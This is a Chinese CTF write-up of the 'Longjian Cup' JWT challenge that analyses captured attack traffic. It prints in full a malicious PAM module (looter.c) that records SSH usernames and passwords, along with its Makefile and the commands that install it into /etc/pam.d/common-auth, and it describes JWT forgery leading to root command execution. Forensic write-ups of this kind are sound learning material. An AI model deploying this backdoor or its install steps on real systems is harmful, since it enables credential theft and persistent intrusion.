全⽹最新最全⾸届“陇剑杯”⽹络安全⼤赛完整WIRTEUP---jwt(6题)
题⽬描述
昨天,单位流量系统捕获了⿊客攻击流量,请您分析流量后进⾏回答:
2.1   该⽹站使⽤了______认证⽅式。(如有字母请全部使⽤⼩写)
wp:
jwt是什么? 参考连接 wwwblogs/gaohuayan/p/11394342.html
jwt就是JSON Web Token(缩写 JWT)是⽬前最流⾏的跨域认证解决⽅案,通俗来说就是让多个服务器知道你是谁,⽽⽆需重复登录。jwt保存在cookie中,格式是
头中保存的是jwt格式,载荷中保存的是内容,签名部分保存的是前⾯内容的哈希值防⽌篡改
curl是什么命令
wireshakk打开包,
7号数据包是post⽅式提交form表单认证,8号数据包表⽰认证通过同时返回jwt数据和⽹页,jwt数据可以简单理解为cookie。
flag:
因此该⽹站使⽤的jwt认证⽅式,这⾥有个坑,我开始以为是form表单认证,这⾥问题描述还是不够清晰。
2.2  ⿊客绕过验证使⽤的jwt中,id和username是______。(中间使⽤#号隔开,例如1#admin)
wp:
在8号数据包中,我们在cookie中的token中提取jwt数据
JpZCI6MTAwODYsIk1hcENsYWltcyI6eyJhdWQiOiJhZG1pbiIsInVzZXJuYW1lIjoiYWRtaW4ifX0.dJArtwXjas3_Cg9a3tr8COXF7DRsuX8UjmbC1nKf8分为三段
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9
eyJpZCI6MTAwODYsIk1hcENsYWltcyI6eyJhdWQiOiJhZG1pbiIsInVzZXJuYW1lIjoiYWRtaW4ifX0
dJArtwXjas3_Cg9a3tr8COXF7DRsuX8UjmbC1nKf8fc
⽤base64解码第⼆段得到
{"id":10086,"MapClaims":{"aud":"admin","username":"admin"}}
flag:
因此10086#admin
我提交后发现不对,我们再次审题⿊客绕过验证使⽤的jwt中,重点是⿊客绕过验证,分析数据包,这个jwt是⿊客使⽤弱密码admin表单登录后发送给⿊客的第⼀个令牌,并没有
体现绕过⼆字。之后在27号⿊客使⽤该令牌执⾏了系统命令whoami,系统返回了  alert("The administrator has the authority to do this, you can’t")\n,意思是只有管理员才有权
⼒执⾏该命令,你不能执⾏。⿊客此时明⽩了它并不是最⾼权限,有再次登录获取新的jwt,还是不⾏。在97号数据包中,⿊客⾸次构造了jwt,构造结果如下
JpZCI6MTAwODYsIk1hcENsYWltcyI6eyJhdWQiOiJhZG1pbiIsInVzZXJuYW1lIjoiYWRtaW4ifX0.dJArtwXjas3_Cg9a3tr8COXF7DRsuX8UjmbC1nKf8 Path=/; Max-Age=3600; HttpOnly
解密后得知,
{"id":10087,"MapClaims":{"username":"admin"}}
这个才是伪造的,之前是系统⾃动⽣成的。
flag:
因此10087#admin
2.3  ⿊客获取webshell之后,权限是______?
wp:
在97号数据包中⿊客使⽤伪造的jwt提交了whoami,98号包返回 root。这⾥⿊客利⽤了jwt伪造漏洞和命令执⾏漏洞
flag:
root
2.4  ⿊客上传的恶意⽂件⽂件名是_____________。(请提交带有⽂件后缀的⽂件名,例如x.txt)
wp:
因为⼀个⼀个查看⿊客执⾏的代码⽐较⿇烦,我们导出http对象同意分析⽂件。再103号数据包中,⽤base64解码后都到,将下⾯1.c写道/tmp/⽬录下
1
2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19#include <stdio.h>
#include <stdlib.h>
#include <curl/curl.h>
#include <string.h>
#include <security/pam_appl.h>
#include <security/pam_modules.h>
#include <unistd.h>
size_t write_data(void*buffer, size_t size, size_t nmemb, void*userp)
{
return size * nmemb;
}
void saveMessage(char(*message)[]) {
FILE *fp = NULL;
fp = fopen("/tmp/.looter", "a+");
fputs(*message, fp);
fclose(fp);
}
PAM_EXTERN int pam_sm_setcred( pam_handle_t *pamh, int flags, int argc, const char**argv ) {
20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42return PAM_SUCCESS;
}
PAM_EXTERN int pam_sm_acct_mgmt(pam_handle_t *pamh, int flags, int argc, const char**argv) { return PAM_SUCCESS;
}
PAM_EXTERN int pam_sm_authenticate( pam_handle_t *pamh, int flags,int argc, const char**argv ) { int retval;
const char* username;
const char* password;
char message[1024];
retval = pam_get_user(pamh, &username, "Username: ");
pam_get_item(pamh, PAM_AUTHTOK, (void*) &password);
if(retval != PAM_SUCCESS) {
return retval;
}
snprintf(message,2048,"Username %s\nPassword: %s\n",username,password);
saveMessage(&message);
return PAM_SUCCESS;
}
flag:
1.c
2.5  ⿊客在服务器上编译的恶意so⽂件,⽂件名是_____________。(请提交带有⽂件后缀的⽂件名,例如x.so) wp:
109号数据包中⼜写了/tmp/Makefile
1 2 3 4CFLAGS += -Werror -Wall
looter.so: looter.c
gcc $(CFLAGS) -fPIC -shared -Xlinker -x -o $@ $< -lcurl
然后再/tm⽬录下执⾏make命令,将looter.c编译成looter.so
flag:
因此是looter.so
2.6  ⿊客在服务器上修改了⼀个配置⽂件,⽂件的绝对路径为_____________。(请确认绝对路径后再提交)
wp:
之后⿊客发现源代码⽂件名称不对不是1.c,重命名源代码⽂件名称,mv /tmp/1.c /tmp/looter.c,这⾥是作者故意埋下的坑,让2.4的问题变得模糊,让我们以为上传的⽂件是looter.c
再次make,此时/tmp下有三个⽂件Makefile   looter.c  looter.so,编译好的⽊马是looter.so
cp /tmp/looter.so /lib/x86_64-linux-gnu/security/,移动⽊马到ssh认证⽬录下
echo "auth optional looter.so">>/etc/pam.d/common-auth,这⾥修改了ssh配置⽂件
flag:
etc/pam.d/common-auth
之后⿊客执⾏了
service ssh restart
cat /tmp/.looter
1Username root\nPassword: flag{test_flag}\nUsername root\nPassword: flag{test_flag}\nUsername root\nPassword: flag{test_flag}\nUsername root\nPassword: flag{test_flag}\nUsername root\nPassword:
flag{test_flag}\n
因此⿊客上传的是ssh登录凭证记录⽊马

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。